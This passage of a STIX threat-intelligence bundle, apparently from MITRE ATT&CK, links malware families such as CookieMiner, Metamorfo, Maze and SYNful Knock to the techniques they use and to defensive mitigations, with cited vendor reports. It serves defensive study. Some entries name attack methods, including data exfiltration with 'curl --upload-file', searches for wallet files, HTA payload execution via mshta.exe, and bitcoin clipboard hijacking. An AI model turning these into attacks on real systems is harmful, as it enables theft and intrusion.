            "description": "Users can be trained to identify social engineering techniques and spearphishing attempts.",
            "id": "relationship--a581fb2c-604a-4417-b782-cafd76b11c37",
            "type": "relationship",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
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            "created": "2020-10-19T04:17:45.388Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
            "relationship_type": "mitigates",
            "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.",
            "id": "relationship--ca433ac6-fb5a-41bc-969b-4721571fe836",
            "type": "relationship",
            "modified": "2020-10-22T02:24:54.830Z",
            "created": "2020-10-19T13:40:11.224Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "relationship_type": "subtechnique-of",
            "id": "relationship--fd44a14f-1ca5-4356-a6fe-c5507a77d490",
            "type": "relationship",
            "modified": "2020-10-19T13:40:11.238Z",
            "created": "2020-10-19T13:40:11.238Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) operators have created scheduled tasks masquerading as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\" designed to launch the ransomware.(Citation: Sophos Maze VM September 2020) ",
            "relationship_type": "uses",
            "id": "relationship--20cedb41-1f7b-44df-8d49-5d6fc166c557",
            "type": "relationship",
            "modified": "2020-10-19T13:55:56.024Z",
            "created": "2020-10-19T13:55:56.024Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "source_name": "Sophos Maze VM September 2020",
                    "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/",
                    "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."
                }
            ],
            "description": "[Maze](https://attack.mitre.org/software/S0449) has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.(Citation: Sophos Maze VM September 2020)",
            "relationship_type": "uses",
            "id": "relationship--62c1a647-4a39-45b1-8d68-99b19ec12a78",
            "type": "relationship",
            "modified": "2020-10-19T16:33:42.242Z",
            "created": "2020-10-19T13:55:56.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
            "relationship_type": "mitigates",
            "description": "Upon identifying a compromised network device being used to bridge a network boundary, block the malicious packets using an unaffected network device in path, such as a firewall or a router that has not been compromised.  Continue to monitor for additional activity and to ensure that the blocks are indeed effective.",
            "id": "relationship--ac04879c-2316-4c3c-86e4-8fac1e80fb49",
            "type": "relationship",
            "modified": "2020-10-20T15:54:10.968Z",
            "created": "2020-10-19T16:08:29.990Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS.  Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)",
            "id": "relationship--3541e998-a3ac-42d7-8a66-f66da6f9162a",
            "external_references": [
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - TACACS",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-10-20T15:54:10.994Z",
            "created": "2020-10-19T16:08:30.018Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
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            "description": "Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse. TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization(Citation: Cisco IOS Software Integrity Assurance - AAA) (Citation: Cisco IOS Software Integrity Assurance - TACACS)",
            "id": "relationship--edbdc10d-a3d6-46f8-9354-ba06995dce08",
            "external_references": [
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - AAA",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#38",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - TACACS",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-10-22T16:43:38.863Z",
            "created": "2020-10-20T19:26:05.831Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
            "relationship_type": "mitigates",
            "description": "TACACS+ can keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization. (Citation: Cisco IOS Software Integrity Assurance - TACACS)",
            "id": "relationship--950d7968-6a24-44aa-8a17-4a9c5cb64f96",
            "external_references": [
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - TACACS",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-10-22T16:43:38.669Z",
            "created": "2020-10-20T19:26:06.003Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has looked for files in the user's home directory with \"wallet\" in their name using <code>find</code>.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--5ea439b8-ca9d-462b-9bb5-e0f13651b10c",
            "type": "relationship",
            "modified": "2020-10-21T02:14:05.475Z",
            "created": "2020-10-21T02:14:05.475Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used the <code>curl --upload-file</code> command to exfiltrate data over HTTP.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--22d01548-0512-4acb-a386-51ec7a822329",
            "type": "relationship",
            "modified": "2020-10-21T02:14:05.494Z",
            "created": "2020-10-21T02:14:05.494Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used a Unix shell script to run a series of commands targeting macOS.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--dcbe360b-c7d3-45bd-a1ef-a13bc2a562fe",
            "type": "relationship",
            "modified": "2020-10-21T02:14:05.498Z",
            "created": "2020-10-21T02:14:05.498Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has retrieved iPhone text messages from iTunes phone backup files.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--aff9bcd9-34b9-4c94-9ce0-dd4852118f91",
            "type": "relationship",
            "modified": "2020-10-21T02:14:05.535Z",
            "created": "2020-10-21T02:14:05.535Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has checked for the presence of \"Little Snitch\", macOS network monitoring and application firewall software, stopping and exiting if it is found.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--bd17ac4f-746a-4299-b9cc-ff587c57e4f2",
            "type": "relationship",
            "modified": "2020-10-21T02:25:07.236Z",
            "created": "2020-10-21T02:25:07.236Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "source_name": "Unit42 CookieMiner Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."
                }
            ],
            "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has installed multiple new Launch Agents in order to maintain persistence for cryptocurrency mining software.(Citation: Unit42 CookieMiner Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--e1f316bc-b215-4a72-9108-7c5bd69f0454",
            "type": "relationship",
            "modified": "2020-10-21T02:25:07.250Z",
            "created": "2020-10-21T02:25:07.250Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
            "external_references": [
                {
                    "source_name": "FireEye - Synful Knock",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
                }
            ],
            "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) can be sent instructions via special packets to change its functionality. Code for new functionality can be included in these messages.(Citation: FireEye - Synful Knock)",
            "relationship_type": "uses",
            "id": "relationship--5d9b14c3-70ea-46b3-9b0d-1595c215efec",
            "type": "relationship",
            "modified": "2020-10-22T17:35:30.279Z",
            "created": "2020-10-21T14:15:47.328Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053",
            "target_ref": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f",
            "external_references": [
                {
                    "source_name": "FireEye - Synful Knock",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                }
            ],
            "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is malware that is inserted into a network device by patching the operating system image.(Citation: FireEye - Synful Knock)(Citation: Cisco Synful Knock Evolution)",
            "relationship_type": "uses",
            "id": "relationship--1fbc7b2a-1cdb-455b-bd5a-b0ff29efe800",
            "type": "relationship",
            "modified": "2020-10-22T17:35:30.311Z",
            "created": "2020-10-21T14:15:47.374Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--6caff042-f300-421c-b6c8-6c8dd6d69f1b",
            "type": "relationship",
            "modified": "2020-10-21T22:48:31.298Z",
            "created": "2020-10-21T16:25:56.742Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has displayed fake forms on top of banking sites to intercept credentials from victims.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--5a56cf34-c344-4b2a-ac9e-4f08f049d7ce",
            "type": "relationship",
            "modified": "2020-10-21T17:01:35.472Z",
            "created": "2020-10-21T17:01:35.472Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used mshta.exe to execute a HTA payload.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--7643698c-2dc4-43ca-9d90-c656962dfecb",
            "type": "relationship",
            "modified": "2020-10-22T01:34:58.656Z",
            "created": "2020-10-21T17:01:35.492Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "external_references": [
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used MsiExec.exe to automatically execute files.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--184ee176-b599-4586-b1fc-5758c91a0c23",
            "type": "relationship",
            "modified": "2020-10-21T22:48:31.424Z",
            "created": "2020-10-21T17:01:35.568Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has searched the system for an extensive list of Brazilian banking software.(Citation: FireEye Metamorfo Apr 2018)",
            "relationship_type": "uses",
            "id": "relationship--082b64f6-cc70-4bc8-a49f-bf0f125883f7",
            "type": "relationship",
            "modified": "2020-10-21T22:48:31.297Z",
            "created": "2020-10-21T17:01:35.599Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has communicated with hosts over raw TCP on port 9999.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--6cc8e1ce-c007-4a26-bd3b-cac73bb98c73",
            "type": "relationship",
            "modified": "2020-10-21T17:10:53.739Z",
            "created": "2020-10-21T17:10:53.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used raw TCP for C2.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--4bd30351-b64b-47cb-897b-951b76ca668b",
            "type": "relationship",
            "modified": "2020-10-21T17:10:53.776Z",
            "created": "2020-10-21T17:10:53.776Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has undergone regular technical improvements in an attempt to evade detection.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--f0894796-a4ed-48c4-94fc-7fc42175416d",
            "type": "relationship",
            "modified": "2020-10-21T17:32:34.297Z",
            "created": "2020-10-21T17:32:34.297Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6",
            "external_references": [
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
            "id": "relationship--ad7b6185-bdb1-4271-b139-2d71dd85c0d4",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) requires the user to double-click the executable to run the malicious HTA file.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--21cd565f-4cdc-46d6-95b3-32b2d618674e",
            "type": "relationship",
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            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a command to delete a Registry key it uses, <code>\\Software\\Microsoft\\Internet Explorer\\notes</code>.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--0d34095a-cfba-4040-865c-a585e841e90b",
            "type": "relationship",
            "modified": "2020-10-21T22:48:31.310Z",
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            "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "external_references": [
                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                },
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has downloaded a zip file for execution on the system.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020) ",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "Medium Metamorfo Apr 2020",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a function to kill processes associated with defenses and can prevent certain processes from launching.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "id": "relationship--9a9db72e-71ae-4e00-b723-434dd41855bc",
            "type": "relationship",
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                {
                    "source_name": "FireEye Metamorfo Apr 2018",
